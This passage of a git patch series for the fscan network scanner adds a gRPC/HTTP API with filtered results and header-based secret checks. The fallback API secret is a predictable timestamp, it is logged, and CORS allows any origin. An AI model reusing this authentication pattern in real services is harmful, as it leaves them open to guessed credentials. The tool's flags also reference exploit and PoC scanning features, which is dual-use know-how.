runtime.WithHTTPPathPattern("/v1/streamresults")) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_FscanService_StreamScanResults_0(annotatedContext, inboundMarshaler, client, req, pathParams) - annotatedContext = runtime.NewServerMetadataContext(annotatedContext, md) - if err != nil { - runtime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err) - return - } - forward_FscanService_StreamScanResults_0(annotatedContext, mux, outboundMarshaler, w, req, func() (proto.Message, error) { return resp.Recv() }, mux.GetForwardResponseOptions()...) - }) return nil } var ( - pattern_FscanService_StartScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "startscan"}, "")) - pattern_FscanService_GetScanResults_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "getresults"}, "")) - pattern_FscanService_StreamScanResults_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "streamresults"}, "")) + pattern_FscanService_StartScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "startscan"}, "")) + pattern_FscanService_GetScanResults_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "getresults"}, "")) ) var ( - forward_FscanService_StartScan_0 = runtime.ForwardResponseMessage - forward_FscanService_GetScanResults_0 = runtime.ForwardResponseMessage - forward_FscanService_StreamScanResults_0 = runtime.ForwardResponseStream + forward_FscanService_StartScan_0 = runtime.ForwardResponseMessage + forward_FscanService_GetScanResults_0 = runtime.ForwardResponseMessage ) diff --git a/RPC/lib/rpc.proto b/RPC/lib/rpc.proto index 728a567..cd8a81a 100644 --- a/RPC/lib/rpc.proto +++ b/RPC/lib/rpc.proto @@ -5,6 +5,7 @@ package lib; option go_package = "./;lib"; import "google/api/annotations.proto"; +import "google/protobuf/struct.proto"; service FscanService { // 启动扫描任务 @@ -23,12 +24,12 @@ service FscanService { }; } - // 获取扫描结果(流式) - rpc StreamScanResults(TaskResultsRequest) returns (stream ScanResult) { - option (google.api.http) = { - get: "/v1/streamresults" - }; - } + // TODO: 流式获取扫描结果 + // rpc StreamScanResults(TaskResultsRequest) returns (stream ScanResult) { + // option (google.api.http) = { + // get: "/v1/streamresults" + // }; + // } } // 启动任务的请求 @@ -45,8 +46,14 @@ message StartScanResponse { // 获取扫描结果的请求 message TaskResultsRequest { - string task_id = 1; - uint32 offset = 2; + string secret = 1; // 用于身份校验 + Filter filter = 2; // 筛选条件(如关键字、状态等) +} + +message Filter { + string task_id = 1; // 任务ID + string Start_time = 2; // 开始时间 + string End_time = 3; // 结束时间 } // 获取扫描结果的响应 @@ -62,5 +69,5 @@ message ScanResult { string type = 2; string target = 3; string status = 4; - string details_json = 5; + google.protobuf.Struct details_json = 5; } diff --git a/RPC/lib/fscan_grpc.pb.go b/RPC/lib/rpc_grpc.pb.go similarity index 71% rename from RPC/lib/fscan_grpc.pb.go rename to RPC/lib/rpc_grpc.pb.go index c2ca790..79588b1 100644 --- a/RPC/lib/fscan_grpc.pb.go +++ b/RPC/lib/rpc_grpc.pb.go @@ -2,7 +2,7 @@ // versions: // - protoc-gen-go-grpc v1.5.1 // - protoc (unknown) -// source: proto/fscan.proto +// source: lib/rpc.proto package lib @@ -19,9 +19,8 @@ import ( const _ = grpc.SupportPackageIsVersion9 const ( - FscanService_StartScan_FullMethodName = "/lib.FscanService/StartScan" - FscanService_GetScanResults_FullMethodName = "/lib.FscanService/GetScanResults" - FscanService_StreamScanResults_FullMethodName = "/lib.FscanService/StreamScanResults" + FscanService_StartScan_FullMethodName = "/lib.FscanService/StartScan" + FscanService_GetScanResults_FullMethodName = "/lib.FscanService/GetScanResults" ) // FscanServiceClient is the client API for FscanService service. @@ -32,8 +31,6 @@ type FscanServiceClient interface { StartScan(ctx context.Context, in *StartScanRequest, opts ...grpc.CallOption) (*StartScanResponse, error) // 获取扫描结果(非流式) GetScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (*TaskResultsResponse, error) - // 获取扫描结果(流式) - StreamScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (grpc.ServerStreamingClient[ScanResult], error) } type fscanServiceClient struct { @@ -64,25 +61,6 @@ func (c *fscanServiceClient) GetScanResults(ctx context.Context, in *TaskResults return out, nil } -func (c *fscanServiceClient) StreamScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (grpc.ServerStreamingClient[ScanResult], error) { - cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) - stream, err := c.cc.NewStream(ctx, &FscanService_ServiceDesc.Streams[0], FscanService_StreamScanResults_FullMethodName, cOpts...) - if err != nil { - return nil, err - } - x := &grpc.GenericClientStream[TaskResultsRequest, ScanResult]{ClientStream: stream} - if err := x.ClientStream.SendMsg(in); err != nil { - return nil, err - } - if err := x.ClientStream.CloseSend(); err != nil { - return nil, err - } - return x, nil -} - -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type FscanService_StreamScanResultsClient = grpc.ServerStreamingClient[ScanResult] - // FscanServiceServer is the server API for FscanService service. // All implementations must embed UnimplementedFscanServiceServer // for forward compatibility. @@ -91,8 +69,6 @@ type FscanServiceServer interface { StartScan(context.Context, *StartScanRequest) (*StartScanResponse, error) // 获取扫描结果(非流式) GetScanResults(context.Context, *TaskResultsRequest) (*TaskResultsResponse, error) - // 获取扫描结果(流式) - StreamScanResults(*TaskResultsRequest, grpc.ServerStreamingServer[ScanResult]) error mustEmbedUnimplementedFscanServiceServer() } @@ -109,9 +85,6 @@ func (UnimplementedFscanServiceServer) StartScan(context.Context, *StartScanRequ func (UnimplementedFscanServiceServer) GetScanResults(context.Context, *TaskResultsRequest) (*TaskResultsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method GetScanResults not implemented") } -func (UnimplementedFscanServiceServer) StreamScanResults(*TaskResultsRequest, grpc.ServerStreamingServer[ScanResult]) error { - return status.Errorf(codes.Unimplemented, "method StreamScanResults not implemented") -} func (UnimplementedFscanServiceServer) mustEmbedUnimplementedFscanServiceServer() {} func (UnimplementedFscanServiceServer) testEmbeddedByValue() {} @@ -169,17 +142,6 @@ func _FscanService_GetScanResults_Handler(srv interface{}, ctx context.Context, return interceptor(ctx, in, info, handler) } -func _FscanService_StreamScanResults_Handler(srv interface{}, stream grpc.ServerStream) error { - m := new(TaskResultsRequest) - if err := stream.RecvMsg(m); err != nil { - return err - } - return srv.(FscanServiceServer).StreamScanResults(m, &grpc.GenericServerStream[TaskResultsRequest, ScanResult]{ServerStream: stream}) -} - -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type FscanService_StreamScanResultsServer = grpc.ServerStreamingServer[ScanResult] - // FscanService_ServiceDesc is the grpc.ServiceDesc for FscanService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -196,12 +158,6 @@ var FscanService_ServiceDesc = grpc.ServiceDesc{ Handler: _FscanService_GetScanResults_Handler, }, }, - Streams: []grpc.StreamDesc{ - { - StreamName: "StreamScanResults", - Handler: _FscanService_StreamScanResults_Handler, - ServerStreams: true, - }, - }, - Metadata: "proto/fscan.proto", + Streams: []grpc.StreamDesc{}, + Metadata: "lib/rpc.proto", } diff --git a/RPC/server.go b/RPC/server.go index 3555724..7d43d27 100644 --- a/RPC/server.go +++ b/RPC/server.go @@ -14,15 +14,12 @@ import ( ) // 启动 gRPC + HTTP Gateway 服务(仅当设置了 API 地址时) -// 如果未设置 API 地址,直接返回 nil -// 如果 HTTP 启动失败,则返回 error func StartApiServer() error { if Common.ApiAddr == "" { - Common.LogDebug("未设置 API 地址,跳过 API 服务启动") return nil } - grpcAddr := ":50051" + grpcAddr := "127.0.0.1:50051" httpAddr := validateHTTPAddr(Common.ApiAddr, ":8088") go runGRPCServer(grpcAddr) @@ -61,8 +58,16 @@ func runHTTPGateway(httpAddr, grpcAddr string) error { return err } - // 添加 CORS 支持 - handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + // 使用中间件包装 mux + handler := applyMiddlewares(mux) + + Common.LogSuccess("✅ HTTP Gateway 已启动,地址: " + httpAddr) + return http.ListenAndServe(httpAddr, handler) +} + +// 注册 HTTP 中间件 +func applyMiddlewares(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Access-Control-Allow-Origin", "*") w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization") @@ -71,11 +76,9 @@ func runHTTPGateway(httpAddr, grpcAddr string) error { w.WriteHeader(http.StatusOK) return } - mux.ServeHTTP(w, r) - }) - Common.LogSuccess("✅ HTTP Gateway 已启动,地址: " + httpAddr) - return http.ListenAndServe(httpAddr, handler) + handler.ServeHTTP(w, r) + }) } // 校验监听地址格式,格式非法使用默认 diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go index 0e1dcd5..471b8a0 100644 --- a/RPC/service/fscan.go +++ b/RPC/service/fscan.go @@ -10,25 +10,27 @@ import ( "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Core" pb "github.com/shadow1ng/fscan/RPC/lib" + structpb "google.golang.org/protobuf/types/known/structpb" ) type FscanService struct { pb.UnimplementedFscanServiceServer - scanMutex sync.Mutex - isScanning int32 // 原子变量,用于标记是否正在扫描 + scanMutex sync.Mutex + isScanning int32 + scanStartTime time.Time // 记录扫描开始时间 } func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) (*pb.StartScanResponse, error) { if !atomic.CompareAndSwapInt32(&s.isScanning, 0, 1) { return &pb.StartScanResponse{ - TaskId: "", + TaskId: "current", Message: "已有扫描任务正在运行,请稍后重试", }, nil } - taskID := "uuid" + s.scanStartTime = time.Now() // 记录任务开始时间 - go func(taskID string, req *pb.StartScanRequest) { + go func(req *pb.StartScanRequest) { defer atomic.StoreInt32(&s.isScanning, 0) s.scanMutex.Lock() @@ -43,69 +45,53 @@ func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) if err := Common.Parse(&info); err != nil { return } - //TODO: 结果保存需要在output模块中设计 + if err := Common.CloseOutput(); err != nil { + Common.LogError(fmt.Sprintf("关闭输出系统失败: %v", err)) + return + } if err := Common.InitOutput(); err != nil { Common.LogError(fmt.Sprintf("初始化输出系统失败: %v", err)) return } Core.Scan(info) - }(taskID, req) + + Common.LogDebug("扫描任务完成") + }(req) return &pb.StartScanResponse{ - TaskId: taskID, - Message: "扫描任务已启动", + TaskId: "current", + Message: "成功启动扫描任务", }, nil } -// GetScanResults 用于获取指定任务 ID 的扫描结果。 -// 参数: -// - ctx:请求上下文。 -// - req:TaskResultsRequest,包含任务 ID。 -// 返回值: -// - TaskResultsResponse:包含结果列表、任务状态等信息。 -// - error:执行中出现的错误信息。 func (s *FscanService) GetScanResults(ctx context.Context, req *pb.TaskResultsRequest) (*pb.TaskResultsResponse, error) { - // TODO: 实现根据任务 ID 查询任务结果,可以从缓存、数据库或临时文件中获取。 - // 此处为模拟数据 - - result := &pb.ScanResult{ - Time: time.Now().Format(time.RFC3339), - Type: "port", - Target: "192.168.1.1:80", - Status: "open", - DetailsJson: `{"banner":"nginx"}`, + results, err := Common.GetResults() + if err != nil { + return nil, fmt.Errorf("读取结果失败: %w", err) } + pbResults := make([]*pb.ScanResult, 0, len(results)) + for _, r := range results { + detailsStruct, err := structpb.NewStruct(r.Details) + if err != nil { + Common.LogError(fmt.Sprintf("转换为 Struct 失败: %v", err)) + continue + } + + pbResults = append(pbResults, &pb.ScanResult{ + Time: r.Time.Format(time.RFC3339), + Type: string(r.Type), + Target: r.Target, + Status: r.Status, + DetailsJson: detailsStruct, + }) + } + + finished := atomic.LoadInt32(&s.isScanning) == 0 return &pb.TaskResultsResponse{ - TaskId: req.TaskId, - Results: []*pb.ScanResult{result}, - Finished: true, // TODO: 判断任务是否真正完成 + TaskId: req.Filter.TaskId, + Results: pbResults, + Finished: finished, }, nil } - -// StreamScanResults 用于通过流式返回任务扫描结果,适合长时间扫描过程。 -// 参数: -// - req:TaskResultsRequest,包含任务 ID。 -// - stream:用于向客户端持续推送结果。 -// 返回值: -// - error:执行中出现的错误信息。 -func (s *FscanService) StreamScanResults(req *pb.TaskResultsRequest, stream pb.FscanService_StreamScanResultsServer) error { - // TODO: 根据任务 ID 逐步查询任务结果,并通过 stream.Send 发送给客户端。 - // 可以监听任务进度,逐步推送最新结果。 - - for i := 0; i < 5; i++ { - result := &pb.ScanResult{ - Time: time.Now().Format(time.RFC3339), - Type: "vuln", - Target: "192.168.1.1", - Status: "found", - DetailsJson: `{"vuln":"CVE-2021-12345"}`, - } - if err := stream.Send(result); err != nil { - return err - } - time.Sleep(1 * time.Second) // 模拟异步推送过程 - } - return nil -} From a30cd12249ebcdd5252ef2601cd373a8db372d8e Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Tue, 22 Apr 2025 12:53:06 +0800 Subject: [PATCH 09/12] =?UTF-8?q?refactor:=20rpc=E8=AF=B7=E6=B1=82?= =?UTF-8?q?=E9=9C=80=E8=A6=81=E9=85=8D=E7=BD=AE=E8=AF=B7=E6=B1=82=E5=A4=B4?= =?UTF-8?q?:=E7=A7=98=E9=92=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- RPC/lib/rpc.pb.go | 34 ++++++++-------------------------- RPC/lib/rpc.proto | 6 ++---- RPC/server.go | 16 +++++++++++++++- RPC/service/fscan.go | 2 +- 4 files changed, 26 insertions(+), 32 deletions(-) diff --git a/RPC/lib/rpc.pb.go b/RPC/lib/rpc.pb.go index ddc7bc1..d692b0d 100644 --- a/RPC/lib/rpc.pb.go +++ b/RPC/lib/rpc.pb.go @@ -26,8 +26,7 @@ const ( // 启动任务的请求 type StartScanRequest struct { state protoimpl.MessageState `protogen:"open.v1"` - Secret string `protobuf:"bytes,1,opt,name=secret,proto3" json:"secret,omitempty"` - Arg string `protobuf:"bytes,2,opt,name=arg,proto3" json:"arg,omitempty"` + Arg string `protobuf:"bytes,1,opt,name=arg,proto3" json:"arg,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -62,13 +61,6 @@ func (*StartScanRequest) Descriptor() ([]byte, []int) { return file_lib_rpc_proto_rawDescGZIP(), []int{0} } -func (x *StartScanRequest) GetSecret() string { - if x != nil { - return x.Secret - } - return "" -} - func (x *StartScanRequest) GetArg() string { if x != nil { return x.Arg @@ -132,8 +124,7 @@ func (x *StartScanResponse) GetMessage() string { // 获取扫描结果的请求 type TaskResultsRequest struct { state protoimpl.MessageState `protogen:"open.v1"` - Secret string `protobuf:"bytes,1,opt,name=secret,proto3" json:"secret,omitempty"` // 用于身份校验 - Filter *Filter `protobuf:"bytes,2,opt,name=filter,proto3" json:"filter,omitempty"` // 筛选条件(如关键字、状态等) + Filter *Filter `protobuf:"bytes,1,opt,name=filter,proto3" json:"filter,omitempty"` // 筛选条件(如关键字、状态等) unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -168,13 +159,6 @@ func (*TaskResultsRequest) Descriptor() ([]byte, []int) { return file_lib_rpc_proto_rawDescGZIP(), []int{2} } -func (x *TaskResultsRequest) GetSecret() string { - if x != nil { - return x.Secret - } - return "" -} - func (x *TaskResultsRequest) GetFilter() *Filter { if x != nil { return x.Filter @@ -384,16 +368,14 @@ var File_lib_rpc_proto protoreflect.FileDescriptor const file_lib_rpc_proto_rawDesc = "" + "\n" + - "\rlib/rpc.proto\x12\x03lib\x1a\x1cgoogle/api/annotations.proto\x1a\x1cgoogle/protobuf/struct.proto\"<\n" + - "\x10StartScanRequest\x12\x16\n" + - "\x06secret\x18\x01 \x01(\tR\x06secret\x12\x10\n" + - "\x03arg\x18\x02 \x01(\tR\x03arg\"F\n" + + "\rlib/rpc.proto\x12\x03lib\x1a\x1cgoogle/api/annotations.proto\x1a\x1cgoogle/protobuf/struct.proto\"$\n" + + "\x10StartScanRequest\x12\x10\n" + + "\x03arg\x18\x01 \x01(\tR\x03arg\"F\n" + "\x11StartScanResponse\x12\x17\n" + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x18\n" + - "\amessage\x18\x02 \x01(\tR\amessage\"Q\n" + - "\x12TaskResultsRequest\x12\x16\n" + - "\x06secret\x18\x01 \x01(\tR\x06secret\x12#\n" + - "\x06filter\x18\x02 \x01(\v2\v.lib.FilterR\x06filter\"[\n" + + "\amessage\x18\x02 \x01(\tR\amessage\"9\n" + + "\x12TaskResultsRequest\x12#\n" + + "\x06filter\x18\x01 \x01(\v2\v.lib.FilterR\x06filter\"[\n" + "\x06Filter\x12\x17\n" + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x1d\n" + "\n" + diff --git a/RPC/lib/rpc.proto b/RPC/lib/rpc.proto index cd8a81a..92cb44a 100644 --- a/RPC/lib/rpc.proto +++ b/RPC/lib/rpc.proto @@ -34,8 +34,7 @@ service FscanService { // 启动任务的请求 message StartScanRequest { - string secret = 1; - string arg= 2; + string arg= 1; } // 启动任务的响应 @@ -46,8 +45,7 @@ message StartScanResponse { // 获取扫描结果的请求 message TaskResultsRequest { - string secret = 1; // 用于身份校验 - Filter filter = 2; // 筛选条件(如关键字、状态等) + Filter filter = 1; // 筛选条件(如关键字、状态等) } message Filter { diff --git a/RPC/server.go b/RPC/server.go index 7d43d27..f6b43f3 100644 --- a/RPC/server.go +++ b/RPC/server.go @@ -4,6 +4,7 @@ import ( "context" "net" "net/http" + "time" "github.com/grpc-ecosystem/grpc-gateway/v2/runtime" "github.com/shadow1ng/fscan/Common" @@ -13,11 +14,16 @@ import ( "google.golang.org/grpc/credentials/insecure" ) +var internalSecretKey string + // 启动 gRPC + HTTP Gateway 服务(仅当设置了 API 地址时) func StartApiServer() error { if Common.ApiAddr == "" { return nil } + if Common.SecretKey == "" { + internalSecretKey = time.Now().Format("20060102150405") + } grpcAddr := "127.0.0.1:50051" httpAddr := validateHTTPAddr(Common.ApiAddr, ":8088") @@ -61,7 +67,8 @@ func runHTTPGateway(httpAddr, grpcAddr string) error { // 使用中间件包装 mux handler := applyMiddlewares(mux) - Common.LogSuccess("✅ HTTP Gateway 已启动,地址: " + httpAddr) + Common.LogSuccess("✅ HTTP Gateway 已启动,地址: http://" + httpAddr) + Common.LogSuccess("✅ API Secret: " + internalSecretKey) return http.ListenAndServe(httpAddr, handler) } @@ -77,6 +84,13 @@ func applyMiddlewares(handler http.Handler) http.Handler { return } + secret := r.Header.Get("Fscan-API-SECRET") + if secret == "" || secret != internalSecretKey { + http.Error(w, `无效的 API Secret,请通过请求头 Fscan-API-SECRET 提供正确的密钥。 + 如果你未手动配置 SecretKey,服务会在启动时自动生成一个随机密钥,并输出到日志中。`, http.StatusUnauthorized) + return + } + handler.ServeHTTP(w, r) }) } diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go index 471b8a0..935e05d 100644 --- a/RPC/service/fscan.go +++ b/RPC/service/fscan.go @@ -36,7 +36,7 @@ func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) s.scanMutex.Lock() defer s.scanMutex.Unlock() - Common.LogDebug("异步执行扫描请求,目标: " + req.Arg + ", " + req.Secret) + Common.LogDebug("异步执行扫描请求,目标: " + req.Arg) var info Common.HostInfo if err := Common.FlagFromRemote(&info, req.Arg); err != nil { From 2d9ea9c1d38620db33199b9105b9fe2ac7085d04 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Tue, 22 Apr 2025 13:01:54 +0800 Subject: [PATCH 10/12] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=20API=20?= =?UTF-8?q?=E5=AF=86=E9=92=A5=E9=80=BB=E8=BE=91=EF=BC=8C=E7=A1=AE=E4=BF=9D?= =?UTF-8?q?=E6=AD=A3=E7=A1=AE=E8=AE=BE=E7=BD=AE=E5=92=8C=E4=BD=BF=E7=94=A8?= =?UTF-8?q?=20Fscan-API-SECRET=20=E5=A4=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- RPC/server.go | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/RPC/server.go b/RPC/server.go index f6b43f3..bfd9cf8 100644 --- a/RPC/server.go +++ b/RPC/server.go @@ -21,7 +21,9 @@ func StartApiServer() error { if Common.ApiAddr == "" { return nil } - if Common.SecretKey == "" { + if Common.SecretKey != "" { + internalSecretKey = Common.SecretKey + } else { internalSecretKey = time.Now().Format("20060102150405") } @@ -77,7 +79,7 @@ func applyMiddlewares(handler http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Access-Control-Allow-Origin", "*") w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") - w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization") + w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, Fscan-API-SECRET") if r.Method == "OPTIONS" { w.WriteHeader(http.StatusOK) From 64588ab28a3bbc62ef5c8588687d01e7c5903db3 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Tue, 22 Apr 2025 18:46:22 +0800 Subject: [PATCH 11/12] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E7=BB=93=E6=9E=9C=E5=93=8D=E5=BA=94=E4=B8=AD=E7=9A=84?= =?UTF-8?q?=E6=80=BB=E7=BB=93=E6=9E=9C=E6=95=B0=E5=92=8C=E7=BB=93=E6=9D=9F?= =?UTF-8?q?=E7=BB=93=E6=9E=9C=E6=95=B0=E5=AD=97=E6=AE=B5=EF=BC=8C=E5=B9=B6?= =?UTF-8?q?=E4=BC=98=E5=8C=96=E9=94=99=E8=AF=AF=E6=97=A5=E5=BF=97=E8=AE=B0?= =?UTF-8?q?=E5=BD=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Output.go | 7 +++++++ RPC/lib/rpc.pb.go | 22 ++++++++++++++++++++-- RPC/lib/rpc.proto | 2 ++ RPC/service/fscan.go | 26 +++++++++++++++++++++++--- 4 files changed, 52 insertions(+), 5 deletions(-) diff --git a/Common/Output.go b/Common/Output.go index f5cf206..0d6c97c 100644 --- a/Common/Output.go +++ b/Common/Output.go @@ -70,6 +70,13 @@ func InitOutput() error { if ApiAddr != "" { OutputFormat = "csv" Outputfile = filepath.Join(dir, "fscanapi.csv") + Num = 0 + End = 0 + if _, err := os.Stat(Outputfile); err == nil { + if err := os.Remove(Outputfile); err != nil { + return fmt.Errorf(GetText("output_file_remove_failed", err)) + } + } } manager := &OutputManager{ diff --git a/RPC/lib/rpc.pb.go b/RPC/lib/rpc.pb.go index d692b0d..dd902de 100644 --- a/RPC/lib/rpc.pb.go +++ b/RPC/lib/rpc.pb.go @@ -232,6 +232,8 @@ type TaskResultsResponse struct { TaskId string `protobuf:"bytes,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` Results []*ScanResult `protobuf:"bytes,2,rep,name=results,proto3" json:"results,omitempty"` Finished bool `protobuf:"varint,3,opt,name=finished,proto3" json:"finished,omitempty"` + Total int64 `protobuf:"varint,4,opt,name=total,proto3" json:"total,omitempty"` // 总结果数 + End int64 `protobuf:"varint,5,opt,name=end,proto3" json:"end,omitempty"` // 结束结果数 unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -287,6 +289,20 @@ func (x *TaskResultsResponse) GetFinished() bool { return false } +func (x *TaskResultsResponse) GetTotal() int64 { + if x != nil { + return x.Total + } + return 0 +} + +func (x *TaskResultsResponse) GetEnd() int64 { + if x != nil { + return x.End + } + return 0 +} + // 扫描结果结构体 type ScanResult struct { state protoimpl.MessageState `protogen:"open.v1"` @@ -380,11 +396,13 @@ const file_lib_rpc_proto_rawDesc = "" + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x1d\n" + "\n" + "Start_time\x18\x02 \x01(\tR\tStartTime\x12\x19\n" + - "\bEnd_time\x18\x03 \x01(\tR\aEndTime\"u\n" + + "\bEnd_time\x18\x03 \x01(\tR\aEndTime\"\x9d\x01\n" + "\x13TaskResultsResponse\x12\x17\n" + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12)\n" + "\aresults\x18\x02 \x03(\v2\x0f.lib.ScanResultR\aresults\x12\x1a\n" + - "\bfinished\x18\x03 \x01(\bR\bfinished\"\xa0\x01\n" + + "\bfinished\x18\x03 \x01(\bR\bfinished\x12\x14\n" + + "\x05total\x18\x04 \x01(\x03R\x05total\x12\x10\n" + + "\x03end\x18\x05 \x01(\x03R\x03end\"\xa0\x01\n" + "\n" + "ScanResult\x12\x12\n" + "\x04time\x18\x01 \x01(\tR\x04time\x12\x12\n" + diff --git a/RPC/lib/rpc.proto b/RPC/lib/rpc.proto index 92cb44a..bcde5d2 100644 --- a/RPC/lib/rpc.proto +++ b/RPC/lib/rpc.proto @@ -59,6 +59,8 @@ message TaskResultsResponse { string task_id = 1; repeated ScanResult results = 2; bool finished = 3; + int64 total = 4; // 总结果数 + int64 end = 5; // 结束结果数 } // 扫描结果结构体 diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go index 935e05d..62f7960 100644 --- a/RPC/service/fscan.go +++ b/RPC/service/fscan.go @@ -66,21 +66,30 @@ func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) } func (s *FscanService) GetScanResults(ctx context.Context, req *pb.TaskResultsRequest) (*pb.TaskResultsResponse, error) { + // 获取扫描结果 results, err := Common.GetResults() if err != nil { + // 记录详细错误信息 + Common.LogError(fmt.Sprintf("读取结果失败: %v", err)) return nil, fmt.Errorf("读取结果失败: %w", err) } + // 创建一个用于存储转换后的pb扫描结果的切片 pbResults := make([]*pb.ScanResult, 0, len(results)) + + // 遍历每一项结果,进行转换 for _, r := range results { + // 尝试将详情转换为Struct detailsStruct, err := structpb.NewStruct(r.Details) if err != nil { - Common.LogError(fmt.Sprintf("转换为 Struct 失败: %v", err)) + // 记录转换失败的详细信息,并跳过当前项 + Common.LogError(fmt.Sprintf("转换为 Struct 失败 (Target: %s, Type: %s): %v", r.Target, r.Type, err)) continue } + // 将转换后的结果添加到 pbResults pbResults = append(pbResults, &pb.ScanResult{ - Time: r.Time.Format(time.RFC3339), + Time: r.Time.Format(time.RFC3339), // 使用 RFC3339 格式化时间 Type: string(r.Type), Target: r.Target, Status: r.Status, @@ -88,10 +97,21 @@ func (s *FscanService) GetScanResults(ctx context.Context, req *pb.TaskResultsRe }) } + // 通过原子操作判断扫描是否完成 finished := atomic.LoadInt32(&s.isScanning) == 0 + + // 如果任务未完成,计算 Total 和 End,仅在需要时计算 + var total, end int64 + if !finished { + total = Common.Num + end = Common.End + } + + // 返回响应 return &pb.TaskResultsResponse{ - TaskId: req.Filter.TaskId, Results: pbResults, Finished: finished, + Total: total, // 返回 Total + End: end, // 返回 End }, nil } From 7865038b22e675e3503775eb780196d9ccfc79c9 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Tue, 22 Apr 2025 19:11:40 +0800 Subject: [PATCH 12/12] =?UTF-8?q?fix:=E4=BF=AE=E5=A4=8Drebase=E6=97=B6?= =?UTF-8?q?=E9=80=A0=E6=88=90=E7=9A=84=E5=8F=82=E6=95=B0=E4=B8=A2=E5=A4=B1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 653bbf1..8c9e937 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -66,6 +66,7 @@ func Flag(Info *HostInfo) { flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) + flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports")) flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) @@ -115,7 +116,7 @@ func Flag(Info *HostInfo) { flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) - flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_nopoc")) + flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc")) // ═════════════════════════════════════════════════ // Redis利用参数 @@ -178,6 +179,7 @@ func FlagFromRemote(info *HostInfo, argString string) error { fs.StringVar(&info.Host, "h", "", GetText("flag_host")) fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) + fs.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports")) fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) @@ -215,7 +217,7 @@ func FlagFromRemote(info *HostInfo, argString string) error { fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) - fs.BoolVar(&DisablePocScan, "nopoc", 